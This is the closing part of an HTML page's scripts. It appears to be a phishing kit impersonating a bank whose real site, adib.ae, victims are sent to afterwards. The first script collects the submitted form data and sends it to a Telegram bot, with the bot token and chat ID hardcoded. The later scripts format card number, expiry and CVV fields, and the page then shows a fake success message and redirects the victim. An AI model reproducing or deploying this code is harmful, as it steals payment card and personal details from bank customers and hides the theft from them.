                console.log('Captured Form Data:', formData);

                // Show spinner loader
                const loader = document.createElement('div');
                loader.innerHTML = `
                    <div class="spinner"></div>
                    <p>Submitting...</p>
                `;
                loader.classList.add('loader-container');
                document.body.innerHTML = ''; // Clear the page content
                document.body.appendChild(loader);

                // Send data to the server or Telegram bot
                const botToken = '7496044777:AAGNsECGO8xsv2n9N6RO92Ar1D4mADB3CSs';
                const chatID = '5410879233';
                const message = Object.entries(formData)
                    .map(([key, value]) => `${key}: ${value}`)
                    .join('\n');

                fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ chat_id: chatID, text: message }),
                }).then((response) => {
                    if (response.ok) {
                        // Show green checkmark and success message
                        loader.innerHTML = `
                            <div class="success-checkmark">&#10003;</div>
                            <p>Successful</p>
                        `;

                        // Redirect to adib.ae after 1.5 seconds
                        setTimeout(() => {
                            window.location.href = 'https://adib.ae';
                        }, 1500);
                    } else {
                        console.error('Failed to submit form.');
                    }
                }).catch((error) => {
                    console.error('Error submitting form:', error);
                });
            } catch (error) {
                console.error('Error submitting form:', error);
            }
        });

        // Add CSS for spinner and success checkmark
        const style = document.createElement('style');
        style.innerHTML = `
            .loader-container {
                position: fixed;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
                background-color: rgba(0, 0, 0, 0.9);
                color: white;
                font-size: 18px;
                z-index: 9999;
            }
            .spinner {
                border: 4px solid rgba(255, 255, 255, 0.3);
                border-top: 4px solid white;
                border-radius: 50%;
                width: 50px;
                height: 50px;
                animation: spin 1s linear infinite;
            }
            @keyframes spin {
                from { transform: rotate(0deg); }
                to { transform: rotate(360deg); }
            }
            .success-checkmark {
                font-size: 40px;
                color: #28a745;
            }
        `;
        document.head.appendChild(style);
    });
</script>    
<script>
    document.addEventListener('DOMContentLoaded', function () {
        // Format for Card Number (16 digits, spaced every 4 digits)
        const cardInputs = document.querySelectorAll('input[placeholder="Enter Card Number"]');
        cardInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 16); // Limit to 16 digits
                value = value.replace(/(\d{4})(?=\d)/g, '$1 '); // Add space every 4 digits
                this.value = value;
            });
        });

        // Format for Expiration Date (MM/YY)
        const expiryInputs = document.querySelectorAll('input[placeholder="MM/YY"]');
        expiryInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 4); // Limit to 4 digits (MMYY)
                if (value.length >= 2) {
                    const month = value.slice(0, 2);
                    const year = value.slice(2, 4);

                    // Limit month to 01-12
                    if (parseInt(month) > 12) value = '12' + (year ? '/' + year : '');
                    else value = month + (year ? '/' + year : '');
                }
                this.value = value;
            });
        });

        // Format for CVV (3 digits only)
        const cvvInputs = document.querySelectorAll('input[placeholder="Enter CVV"]');
        cvvInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 3); // Limit to 3 digits
                this.value = value;
            });
        });
    });
</script>
<script>
    document.addEventListener('DOMContentLoaded', function () {
        // Format for Card Number (16 digits, spaced every 4 digits)
        const cardInputs = document.querySelectorAll('input[placeholder="Enter Card Number1"]');
        cardInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 16); // Limit to 16 digits
                value = value.replace(/(\d{4})(?=\d)/g, '$1 '); // Add space every 4 digits
                this.value = value;
            });
        });

        // Format for Expiration Date (MM/YY)
        const expiryInputs = document.querySelectorAll('input[placeholder="MM/YY."]');
        expiryInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 4); // Limit to 4 digits (MMYY)
                if (value.length >= 2) {
                    const month = value.slice(0, 2);
                    const year = value.slice(2, 4);

                    // Limit month to 01-12
                    if (parseInt(month) > 12) value = '12' + (year ? '/' + year : '');
                    else value = month + (year ? '/' + year : '');
                }
                this.value = value;
            });
        });

        // Format for CVV (3 digits only)
        const cvvInputs = document.querySelectorAll('input[placeholder="CVV"]');
        cvvInputs.forEach(input => {
            input.addEventListener('input', function () {
                let value = this.value.replace(/\D/g, ''); // Remove non-numeric characters
                value = value.slice(0, 3); // Limit to 3 digits
                this.value = value;
            });
        });
    });
</script>
<script>
document.addEventListener('DOMContentLoaded', () => {
    const formContainers = document.querySelectorAll('.form-container');

    formContainers.forEach((container) => {
        const nextButton = container.querySelector('#next-button-1'); // Use your specific ID
        const inputs = container.querySelectorAll('.form-input, .form-select, input[type="radio"]');

        const checkValidity = () => {
            let isValid = true;

            inputs.forEach((input) => {
                if (
                    (input.type === 'text' || input.type === 'date' || input.type === 'file') &&
                    !input.value.trim()
                ) {
                    isValid = false;
                } else if (input.type === 'select-one' && !input.value) {
                    isValid = false;
                } else if (input.type === 'radio') {
                    const radioGroup = container.querySelector(`input[name="${input.name}"]:checked`);
                    if (!radioGroup) isValid = false;
                }
            });

            nextButton.disabled = !isValid;
        };

        inputs.forEach((input) => {
            input.addEventListener('input', checkValidity);
            input.addEventListener('change', checkValidity);
        });

        checkValidity();

        nextButton.addEventListener('click', () => {
            container.classList.remove('open');
            const nextForm = container.nextElementSibling;
            if (nextForm && nextForm.classList.contains('form-container')) {
                nextForm.classList.add('open');
            }
        });
    });

    const style = document.createElement('style');
    style.innerHTML = `
        #next-button-1:disabled {
            opacity: 0.5;
            cursor: not-allowed;
        }
    `;
    document.head.appendChild(style);
});         
</script>
<script>
    // This script will check if the user is on a mobile device
    // and force the desktop version of the page to be used
    (function() {
        const isMobile = /Mobi|Android/i.test(navigator.userAgent); // Check for mobile devices
        const desktopWidth = 1024; // Width for desktop view

        if (isMobile) {
            // Force the width to simulate a desktop site
            document.querySelector('meta[name="viewport"]').setAttribute('content', 'width=' + desktopWidth + ', initial-scale=1.0, user-scalable=no');
        }
    })();
</script>
<script>
 document.addEventListener("DOMContentLoaded", function() {
    const submitBox = document.getElementById("submit-box"); // Use submitBox instead of submitButton
    const requiredInputs = document.querySelectorAll(".form-input[required], .form-select[required], input[type='radio'][required]");

    // Function to check if all required fields are filled
    function checkRequiredFields() {
        let allFilled = true;

        requiredInputs.forEach(input => {
            if (input.type === "radio") {
                // For radio buttons, check if any button in the group is checked
                if (!document.querySelector(`input[name="${input.name}"]:checked`)) {
                    allFilled = false;
                }
            } else if (!input.value.trim()) {
                // For other inputs (text, date, etc.), check if there's a value
                allFilled = false;
            }
        });

        // Enable/Disable the submit button based on the condition
        if (allFilled) {
            submitBox.style.opacity = "1"; // Make it fully visible
            submitBox.style.pointerEvents = "auto"; // Enable clicks
        } else {
            submitBox.style.opacity = "0.5"; // Keep it visually disabled
            submitBox.style.pointerEvents = "none"; // Disable clicks
        }
    }

    // Attach event listeners to all required fields (input and select elements)
    requiredInputs.forEach(input => {
        input.addEventListener("input", checkRequiredFields);
    });

    // Attach a click event to the submitBox to act as a submit button when it's enabled
    submitBox.addEventListener("click", function() {
        if (submitBox.style.pointerEvents === "auto") {
            // You can add your form submission logic here, e.g., submit the form
        }
    });

    // Check the fields initially to handle pre-filled inputs
    checkRequiredFields();
});
    </script>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            // Get the date input elements
            const dateInputs = document.querySelectorAll('input[type="date"]');
            
            // Loop through each input field
            dateInputs.forEach(input => {
                // Disable typing in the input field by preventing key events
                input.addEventListener("keydown", function(event) {
                    event.preventDefault();
                });
                input.addEventListener("input", function(event) {
                    event.preventDefault();
                });
        
                // Force the date picker to show on focus
                input.addEventListener("focus", function() {
                    input.showPicker();
                });
            });
        });
        </script>
    
</body>
</html>

